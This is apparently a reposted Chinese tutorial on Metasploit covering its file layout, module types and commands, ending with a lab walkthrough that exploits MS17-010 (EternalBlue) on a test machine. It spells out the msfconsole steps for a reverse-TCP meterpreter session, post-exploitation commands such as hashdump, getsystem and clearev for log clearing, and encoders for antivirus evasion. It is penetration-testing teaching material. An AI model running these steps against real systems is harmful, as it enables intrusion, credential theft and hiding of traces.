一、 简介
Metasploit是一款开源的安全漏洞检测工具,同时Metasploit是免费的工具,因此安全工作人员常用Metasploit工具来检测系统的安全性。Metasploit Framework (MSF)在2003年以开放源码方式发布,是可以自由获取的开发框架。它是一个强大的开源平台,供开发,测试和使用恶意代码,这个环境为渗透测试. shellcode编写和漏洞研究提供了一个可靠平台。Metasploit核心中绝大部分由Ruby实现,一小部分由汇编和C语言实现。
二、文件结构
路径:/usr/share/metasploit-framework/
config : MSF环境配置信息,数据库配置信息data:后渗透模块的一些工具及payload,第三方小工具集合,用户字典等数据信息
documentation:用户说明文档及开发文档
external : MSF的一些基础扩展模块
lib:基础类和第兰方模块类
modules: MSF系统工具模块
plugins:第三方插件接口
scripts: MSF的常用后渗透模块,区别于data里的后渗透模块,不需要加post参数和绝对路径,可以直接运行
tools:额外的小工具和第三方脚本工具
msfconsole: MSF基本命令行,集成了各种功能
msfd : MSF服务,非持久性服务
msfdb: MSF数据库
msfupdate: MSF更新模块,可以用来更新MSF模块
msfrpc: MSF的服务端,非持久性的rpc服务
msfrpcd:持久性的MSF本地服务,可以给远程用户提供rpc服务以及其他的http服务,可以通过xml进行数据传输。
三、Metasploit模块
1、exploits(渗透攻击/漏洞利用模块)
渗透攻击模块是利用发现的安全漏洞或配置弱点对远程目标进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问的代码组件。流行的渗透攻击技术包括缓冲区溢出、Web应用程序漏洞攻击、用户配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,以及用于破坏系统安全性的攻击代码。每个漏洞都有相应的攻击代码。
2、payloads (攻击载荷模块)
攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码。
攻击载荷模块从最简单的添加用户账 、提供命令行Shell,到基于图形化的VNC界面控制,以及最复杂、具有大量后渗透攻击阶段功能特性的Meterpreter,这使得渗透攻击者可以在选定渗透攻击代码之后,从很多适用的攻击载荷中选取他所中意的模块进行灵活地组装,在渗透攻击后获得他所选择的控制会话类型,这种模块化设计与灵活的组装模式也为渗透攻击者提供了极大的便利。
3、auxiliary(辅助模块)
该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。
4、nops(空指令模块)
空指令(NOP)是一些对程序运行状态不会造成任何实质性影响的空操作或无关操作指令。最典型的空指令就是空操作,在x86 CPU体系架构平台上的操作码是0x90。
在渗透攻击构造邪恶数据缓冲区时,常常要在真正执行的Shellcode之前添加一段空指令区。这样,当触发渗透攻击后跳转执行Shellcode时,就会有一个较大的安全着陆区,从而避免受到内存地址随机化、返回地址计算偏差等原因造成的Shellcode执行失败。Matasploit框架中的空指令模块就是用来在攻击载荷中添加空指令区,以提高攻击可靠性的组件。
5、encoders(编码器模块)
编码器模块通过对攻击载荷进行各种不同形式的编码,完成两大任务:一是确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”;二是对攻击载荷进行“免杀”处理,即逃避反病毒软件、IDS/IPS的检测与阻断。
6、post(后渗透攻击模块)
后渗透攻击模块主要用于在渗透攻击取得目标系统远程控制权之后,在受控系统中进行各式各样的后渗透攻击动作,比如获取敏感信息、进一步横向拓展、实施跳板攻击等。
7、evasion(规避模块)
规避模块主要用于规避Windows Defender防火墙、Windows应用程序控制策略( applocker)等的检查。
四、常用命令
msfconsole: 进入msf终端命令,启动Metasploit
Terminal终端下的常用命
(1)者help //可查看终端命令集
(2)msfdb init // msf数据库初始化
(3)msfdb delete //删除msf数据库并停止使用
(4)msfdb start //启动msf数据库
(5)msfdb stop //停止msf数据库
(6)apt install metasploit framework //msf更新
(7)msfvenom //多平台攻击载荷生成器
(8)msf-nasm_shell //将汇编指令转换成为对应的16进制机器码(9)msfconsole //打开msf终端
msf终端下的常用命令
(1)db_status //查看msf数据库连接状态
(2)db_nmap //调用nmap扫描,并将扫描结果存入数据库
(3)search //搜索含有关键字的模块
(4)use1/选择使用一个模块
(5)show payload/显示该模块支持的payload(6)show options//显示该模块需要设置的参数
(7)info //查看详细信息
(8)set //使用模块后,设置模块所需要的参数的值(对应使用unset取消设置的值)(9)back //返回上级状态
(10) exploit/run //两个命令都表示运行攻击模块(11)sessions //查看当前连接的会话
五、Metasploit进行渗透测试的一般流程
1、扫描目标机系统,寻找可用漏洞
2、选择并配置一个渗透攻击(漏洞利用)模块(exploits)3、选择并配置一个攻击载荷模块( payloads)
4、选择一种编码技术(encoders),用来绕过杀毒软件的查杀5、执行渗透攻击
6、后渗透阶段的操作
六、ms17-010(永恒之蓝)漏洞利用实验
关于缓冲区溢出攻击:缓冲区是内存中存放数据的地方。在程序试图将数据放到计算机内存中的某一位置,但没有足够空间时会发生缓冲区溢出。缓冲区溢出攻击利用编写不够严谨的程序,通过向程序的缓冲区写入超过预定长度的数据,造成缓存的溢出,从而破坏程序的堆栈,导致程序执行流程的改变。
?????? 1、启动Metasploit终端(提示符msf> )
2.检测靶机是否存在ms17-010漏洞
(1)搜索 ms17-010相关的模块:search ms17-010
(2)使用smb_ms17_010模块对靶机进行漏洞检测,确认其存在ms17-010漏洞。
use auxiliary/scanner/smb/smb_ms17_010 //使用smb_ms17_810模块
show options //查看该模块需要设置哪些参数
set RHOSTS 192.168.190.129 //设置目标机的IP地址run //执行
(3) 执行结果显示:靶机存在ms17-010漏洞!
3、利用ms17-010漏洞对靶机执行溢出攻击
(1)使用ms17_010_eternalblue模块对目标机的 ms17-010漏洞进行利用。
use exploit/windows/ smb/ms17_01e_eternalblue //使用ms17_81e_eternalblue模块
set RHOST [靶机IP] //设置远程主机(靶机)的ip地址set LH0ST [操作机IP] //设置本地主机(操作机)的ip地址
set payload windaws/x64/meterpreter/reverse_tcp //使用payload:meterpreter/reverse_tcpset RPORT 445 //设置目标端口
set target //设置目标操作系统类型(此处为自动识别类型)
run //执行
(2) 溢出攻击成功后,返回 meterpreter提示符
4、后渗透模块meterpreter的使用
可以在meterpreter提示符下使用下列命令,进行后渗透操作;
puad //打印当前工作目录
sysinfo //查看系统信息
getuid //获取当前权限的用户 id
ps //查看当前日标机上运行的进程列表和pid
getsystem //获取 system权限screenshot //截收目标主机当前屏暮
hashdump //获取用户名与hash 口令shell/获取目标主机shellupload1/上传一个文件
dowenload //下载一个文件
execute //执行目标系统中的文件(-f指定文件,-i执行可交互模式,-H隐藏窗口)
clearev //清除日志
background //将 meterpreter放入后台(使用sessions -i重新连按到会话)
文章知识点与官方知识档案匹配,可进一步学习相关知识云原生入门技能树首页概览8803 人正在系统学习中
声明:本站部分文章及图片源自用户投稿,如本站任何资料有侵权请您尽早请联系jinwei@zod.com.cn进行处理,非常感谢!